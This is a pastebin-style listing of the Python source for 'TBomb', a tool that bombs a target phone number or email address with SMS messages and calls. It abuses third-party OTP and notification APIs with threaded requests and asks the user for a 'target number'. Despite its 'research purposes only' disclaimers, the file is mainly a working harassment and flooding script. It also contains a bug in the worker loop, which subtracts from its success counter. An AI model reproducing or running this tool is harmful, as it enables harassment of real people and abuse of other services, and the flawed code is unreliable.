· 5 years ago · Nov 06, 2020, 04:22 AM
1#!/usr/bin/python
2# -*- coding: UTF-8 -*-
3
4import os, shutil, sys, subprocess
5import string, random, json, re
6import time, threading
7import argparse
8
9from datetime import datetime
10from concurrent.futures import ThreadPoolExecutor, as_completed
11
12
13try:
14 import requests
15 from colorama import Fore, Style
16except ImportError:
17 print("\tSome dependencies could not be imported (possibly not installed) ")
18 print("Type `pip3 install -r requirements.txt` to install all required packages")
19 sys.exit(1)
20
21class IconicDecorator(object):
22 def __init__(self):
23 self.PASS = Style.BRIGHT + Fore.GREEN + "[ ✔ ]" + Style.RESET_ALL
24 self.FAIL = Style.BRIGHT + Fore.RED + "[ ✘ ]" + Style.RESET_ALL
25 self.WARN = Style.BRIGHT + Fore.YELLOW + "[ ! ]" + Style.RESET_ALL
26 self.HEAD = Style.BRIGHT + Fore.CYAN + "[ # ]" + Style.RESET_ALL
27 self.CMDL = Style.BRIGHT + Fore.BLUE + "[ → ]" + Style.RESET_ALL
28 self.STDS = " "
29
30class StatusDecorator(object):
31 def __init__(self):
32 self.PASS = Style.BRIGHT + Fore.GREEN + "[ SUCCESS ]" + Style.RESET_ALL
33 self.FAIL = Style.BRIGHT + Fore.RED + "[ FAILURE ]" + Style.RESET_ALL
34 self.WARN = Style.BRIGHT + Fore.YELLOW + "[ WARNING ]" + Style.RESET_ALL
35 self.HEAD = Style.BRIGHT + Fore.CYAN + "[ SECTION ]" + Style.RESET_ALL
36 self.CMDL = Style.BRIGHT + Fore.BLUE + "[ COMMAND ]" + Style.RESET_ALL
37 self.STDS = " "
38
39class MessageDecorator(object):
40 def __init__(self, attr):
41 ICON = IconicDecorator()
42 STAT = StatusDecorator()
43 if attr == "icon":
44 self.PASS = ICON.PASS
45 self.FAIL = ICON.FAIL
46 self.WARN = ICON.WARN
47 self.HEAD = ICON.HEAD
48 self.CMDL = ICON.CMDL
49 self.STDS = ICON.STDS
50 elif attr == "stat":
51 self.PASS = STAT.PASS
52 self.FAIL = STAT.FAIL
53 self.WARN = STAT.WARN
54 self.HEAD = STAT.HEAD
55 self.CMDL = STAT.CMDL
56 self.STDS = STAT.STDS
57
58 def SuccessMessage(self, RequestMessage):
59 print(self.PASS + " " + Style.RESET_ALL + RequestMessage)
60
61 def FailureMessage(self, RequestMessage):
62 print(self.FAIL + " " + Style.RESET_ALL + RequestMessage)
63
64 def WarningMessage(self, RequestMessage):
65 print(self.WARN + " " + Style.RESET_ALL + RequestMessage)
66
67 def SectionMessage(self, RequestMessage):
68 print(self.HEAD + " " + Fore.CYAN + Style.BRIGHT + RequestMessage + Style.RESET_ALL)
69
70 def CommandMessage(self, RequestMessage):
71 return self.CMDL + " " + Style.RESET_ALL + RequestMessage
72
73 def GeneralMessage(self, RequestMessage):
74 print(self.STDS + " " + Style.RESET_ALL + RequestMessage)
75
76
77class APIProvider:
78
79 api_providers=[]
80 delay = 0
81 status = True
82
83 def __init__(self,cc,target,mode,delay=0):
84 with open('apidata.json', 'r') as file:
85 PROVIDERS = json.load(file)
86 self.config = None
87 self.cc = cc
88 self.target = target
89 self.mode = mode
90 self.index = 0
91 self.lock = threading.Lock()
92 APIProvider.delay = delay
93 providers=PROVIDERS.get(mode.lower(),{})
94 APIProvider.api_providers = providers.get(cc,[])
95 if len(APIProvider.api_providers)<10:
96 APIProvider.api_providers+=providers.get("multi",[])
97
98 def format(self):
99 config_dump = json.dumps(self.config)
100 config_dump = config_dump.replace("{target}",self.target).replace("{cc}",self.cc)
101 self.config = json.loads(config_dump)
102
103 def select_api(self):
104 try:
105 self.index = random.choice(range(len(APIProvider.api_providers)))
106 except IndexError:
107 self.index=-1
108 return
109 self.config = APIProvider.api_providers[self.index]
110 perma_headers = {"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0"}
111 if "headers" in self.config:
112 self.config["headers"].update(perma_headers)
113 else:
114 self.config["headers"]=perma_headers
115 self.format()
116
117 def remove(self):
118 try:
119 del APIProvider.api_providers[self.index]
120 return True
121 except:
122 return False
123
124 def request(self):
125 self.select_api()
126 if not self.config or self.index==-1:
127 return None
128 identifier=self.config.pop("identifier","").lower()
129 del self.config['name']
130 self.config['timeout']=30
131 response=requests.request(**self.config)
132 return identifier in response.text.lower()
133
134 def hit(self):
135 try:
136 if not APIProvider.status:
137 return
138 time.sleep(APIProvider.delay)
139 self.lock.acquire()
140 response = self.request()
141 if response==False:
142 self.remove()
143 elif response==None:
144 APIProvider.status=False
145 return response
146 except:
147 response=False
148 finally:
149 self.lock.release()
150 return response
151
152
153
154def readisdc():
155 with open("isdcodes.json") as file:
156 isdcodes = json.load(file)
157 return isdcodes
158
159def get_version():
160 try:
161 return open(".version","r").read().strip()
162 except:
163 return '1.0'
164
165def clr():
166 if os.name == "nt":
167 os.system("cls")
168 else:
169 os.system("clear")
170
171def bann_text():
172 clr()
173 logo="""
174 ████████ █████ ██
175 ▒▒▒██▒▒▒ ██▒▒██ ██
176 ██ ██ ██ ██ ██ ██
177 ██ █████▒ ████ ███ ███ █████
178 ██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██
179 ██ ██ ██ ██ ██ ██ ▒ ██ ██ ██
180 ██ █████▒ ▒████▒ ██ ██ █████▒
181 ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒
182 """
183 version="Version: "+__VERSION__
184 contributors="Contributors: "+" ".join(__CONTRIBUTORS__)
185 print(random.choice(ALL_COLORS) + logo + RESET_ALL)
186 mesgdcrt.SuccessMessage(version)
187 mesgdcrt.SectionMessage(contributors)
188 print()
189
190
191def check_intr():
192 try:
193 requests.get("https://motherfuckingwebsite.com")
194 except Exception:
195 bann_text()
196 mesgdcrt.FailureMessage("Poor internet connection detected")
197 sys.exit(2)
198
199def format_phone(num):
200 num=[n for n in num if n in string.digits]
201 return ''.join(num).strip()
202
203def do_zip_update():
204 success=False
205
206 # Download Zip from git
207 # Unzip and overwrite the current folder
208
209 if success:
210 mesgdcrt.SuccessMessage("TBomb was updated to the latest version")
211 mesgdcrt.GeneralMessage("Please run the script again to load the latest version")
212 else:
213 mesgdcrt.FailureMessage("Unable to update TBomb.")
214 mesgdcrt.WarningMessage("Grab The Latest one From https://github.com/TheSpeedX/TBomb.git")
215
216 sys.exit()
217
218def do_git_update():
219 success=False
220 try:
221 print(ALL_COLORS[0]+"UPDATING "+RESET_ALL,end='')
222 process = subprocess.Popen("git checkout . && git pull ", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
223 while process:
224 print(ALL_COLORS[0]+'.'+RESET_ALL,end='')
225 time.sleep(1)
226 returncode = process.poll()
227 if returncode is not None:
228 break
229 success = not process.returncode
230 except:
231 success = False
232 print("\n")
233
234 if success:
235 mesgdcrt.SuccessMessage("TBomb was updated to the latest version")
236 mesgdcrt.GeneralMessage("Please run the script again to load the latest version")
237 else:
238 mesgdcrt.FailureMessage("Unable to update TBomb.")
239 mesgdcrt.WarningMessage("Make Sure To Install 'git' ")
240 mesgdcrt.GeneralMessage("Then run command:")
241 print("git checkout . && git pull https://github.com/TheSpeedX/TBomb.git HEAD")
242 sys.exit()
243
244def update():
245 if shutil.which('git'):
246 do_git_update()
247 else:
248 do_zip_update()
249def check_for_updates():
250 mesgdcrt.SectionMessage("Checking for updates")
251 fver = requests.get("https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version").text.strip()
252 if fver != __VERSION__:
253 mesgdcrt.WarningMessage("An update is available")
254 mesgdcrt.GeneralMessage("Starting update...")
255 update()
256 else:
257 mesgdcrt.SuccessMessage("TBomb is up-to-date")
258 mesgdcrt.GeneralMessage("Starting TBomb")
259
260def notifyen():
261 try:
262 noti = requests.get("https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.notify").text.upper().strip()
263 if len(noti) > 10:
264 mesgdcrt.SectionMessage("NOTIFICATION: " + noti)
265 print()
266 except Exception:
267 pass
268
269def get_phone_info():
270 while True:
271 target = ""
272 cc = input(mesgdcrt.CommandMessage("Enter your country code (Without +): "))
273 cc = format_phone(cc)
274 if not country_codes.get(cc,False):
275 mesgdcrt.WarningMessage("The country code ({cc}) that you have entered is invalid or unsupported".format(cc=cc))
276 continue
277 target = input(mesgdcrt.CommandMessage("Enter the target number: +" + cc + " "))
278 target = format_phone(target)
279 if ((len(target) <= 6) or (len(target) >= 12)):
280 mesgdcrt.WarningMessage("The phone number ({target}) that you have entered is invalid".format(target=target))
281 continue
282 return (cc,target)
283
284def get_mail_info():
285 mail_regex='^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
286 while True:
287 target = input(mesgdcrt.CommandMessage("Enter target mail: "))
288 if not re.search(mail_regex,target, re.IGNORECASE):
289 mesgdcrt.WarningMessage("The mail ({target}) that you have entered is invalid".format(target=target))
290 continue
291 return target
292
293def pretty_print(cc,target,success,failed):
294 requested = success+failed
295 mesgdcrt.SectionMessage("Bombing is in progress - Please be patient")
296 mesgdcrt.GeneralMessage("Please stay connected to the internet during bombing")
297 mesgdcrt.GeneralMessage("Target : " + cc +" "+ target)
298 mesgdcrt.GeneralMessage("Sent : " + str(requested))
299 mesgdcrt.GeneralMessage("Successful : " + str(success))
300 mesgdcrt.GeneralMessage("Failed : " + str(failed))
301 mesgdcrt.WarningMessage("This tool was made for fun and research purposes only")
302 mesgdcrt.SuccessMessage("TBomb was created by SpeedX")
303
304def workernode(mode,cc,target,count,delay,max_threads):
305
306 api = APIProvider(cc,target,mode,delay=delay)
307
308 clr()
309 mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient")
310 mesgdcrt.GeneralMessage("Please stay connected to the internet during bombing")
311 mesgdcrt.GeneralMessage("Target : " + cc + target)
312 mesgdcrt.GeneralMessage("Amount : " + str(count) )
313 mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads")
314 mesgdcrt.GeneralMessage("Delay : " + str(delay) + " seconds")
315 mesgdcrt.WarningMessage("This tool was made for fun and research purposes only")
316 print()
317 input(mesgdcrt.CommandMessage("Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it"))
318
319 if len(APIProvider.api_providers)==0:
320 mesgdcrt.FailureMessage("Your country/target is not supported as of now")
321 mesgdcrt.GeneralMessage("Feel free to reach out to us")
322 input(mesgdcrt.CommandMessage("Press [ENTER] to exit"))
323 bann_text()
324 sys.exit()
325
326 success,failed=0,0
327 while success<count:
328 with ThreadPoolExecutor(max_workers=max_threads) as executor:
329 jobs = []
330 for i in range(count-success):
331 jobs.append(executor.submit(api.hit))
332
333 for job in as_completed(jobs):
334 result = job.result()
335 if result==None:
336 mesgdcrt.FailureMessage("Bombing limit for your target has been reached")
337 mesgdcrt.GeneralMessage("Try Again Later !!")
338 input(mesgdcrt.CommandMessage("Press [ENTER] to exit"))
339 bann_text()
340 sys.exit()
341 if result:
342 success-=1
343 else:
344 failed+=1
345 clr()
346 pretty_print(cc,target,success,failed)
347 print("\n")
348 mesgdcrt.SuccessMessage("Bombing completed!")
349 time.sleep(1.5)
350 bann_text()
351 sys.exit()
352
353def selectnode(mode="sms"):
354 mode=mode.lower().strip()
355 try:
356 clr()
357 bann_text()
358 check_intr()
359 check_for_updates()
360 notifyen()
361
362 max_limit={"sms":5,"call":15,"mail":2}
363 cc,target="",""
364 if mode in ["sms","call"]:
365 cc,target=get_phone_info()
366 if cc!="91":
367 max_limit.update({"sms":1})
368 elif mode=="mail":
369 target=get_mail_info()
370 else:
371 raise KeyboardInterrupt
372
373
374 limit=max_limit[mode]
375 while True:
376 try:
377 message=("Enter number of {type} to send (Max {limit}): ").format(type=mode.upper(),limit=limit)
378 count = int(input(mesgdcrt.CommandMessage(message)).strip())
379 if count > limit or count==0:
380 mesgdcrt.WarningMessage("You have requested " + str(count) + " {type}".format(type=mode.upper()))
381 mesgdcrt.GeneralMessage("Automatically capping the value to {limit}".format(limit=limit))
382 count = limit
383 delay = float(input(mesgdcrt.CommandMessage("Enter delay time (in seconds): ")).strip())
384 # delay = 0
385 max_threads = int(input(mesgdcrt.CommandMessage("Enter Number of Thread: ")).strip())
386 if (count < 0 or delay < 0):
387 raise Exception
388 break
389 except KeyboardInterrupt as ki:
390 raise ki
391 except:
392 mesgdcrt.FailureMessage("Read Instructions Carefully !!!")
393 print()
394
395 workernode(mode,cc,target,count,delay,max_threads)
396 except KeyboardInterrupt:
397 mesgdcrt.WarningMessage("Received INTR call - Exiting...")
398 sys.exit()
399
400if sys.version_info[0]!=3:
401 mesgdcrt.FailureMessage("TBomb will work only in Python v3")
402 sys.exit()
403
404try:
405 country_codes = readisdc()["isdcodes"]
406except FileNotFoundError:
407 update()
408
409mesgdcrt = MessageDecorator("icon")
410
411
412__VERSION__ = get_version()
413__CONTRIBUTORS__ = ['SpeedX','t0xic0der','scpketer','Stefan']
414
415ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
416RESET_ALL = Style.RESET_ALL
417
418description="""TBomb - Your Friendly Spammer Application
419
420TBomb can be used for many purposes which incudes -
421\t Exposing the vulnerable APIs over Internet
422\t Friendly Spamming
423\t Testing Your Spam Detector and more ....
424
425TBomb is not intented for malicious uses.
426"""
427
428parser = argparse.ArgumentParser(description=description,epilog='Coded by SpeedX !!!')
429parser.add_argument("-sms","--sms", action="store_true",help="start TBomb with SMS Bomb mode")
430parser.add_argument("-call","--call", action="store_true",help="start TBomb with CALL Bomb mode")
431parser.add_argument("-mail","--mail", action="store_true",help="start TBomb with MAIL Bomb mode")
432parser.add_argument("-u","--update", action="store_true",help="update TBomb")
433parser.add_argument("-c","--contributors", action="store_true",help="show current TBomb contributors")
434parser.add_argument("-v","--version", action="store_true",help="show current TBomb version")
435
436
437if __name__ == "__main__":
438 args = parser.parse_args()
439 if args.version:
440 print("Version: ",__VERSION__)
441 elif args.contributors:
442 print("Contributors: "," ".join(__CONTRIBUTORS__))
443 elif args.update:
444 update()
445 elif args.mail:
446 selectnode(mode="mail")
447 elif args.call:
448 selectnode(mode="call")
449 elif args.sms:
450 selectnode(mode="sms")
451 else:
452 choice=""
453 avail_choice={"1":"SMS","2":"CALL","3":"MAIL (Coming Soon)"}
454 try:
455 while (not choice in avail_choice):
456 clr()
457 bann_text()
458 print("Available Options:\n")
459 for key,value in avail_choice.items():
460 print("[ {key} ] {value} BOMB".format(key=key,value=value))
461 print()
462 choice=input(mesgdcrt.CommandMessage("Enter Choice : "))
463 selectnode(mode=avail_choice[choice].lower())
464 except KeyboardInterrupt:
465 mesgdcrt.WarningMessage("Received INTR call - Exiting...")
466 sys.exit()
467 sys.exit()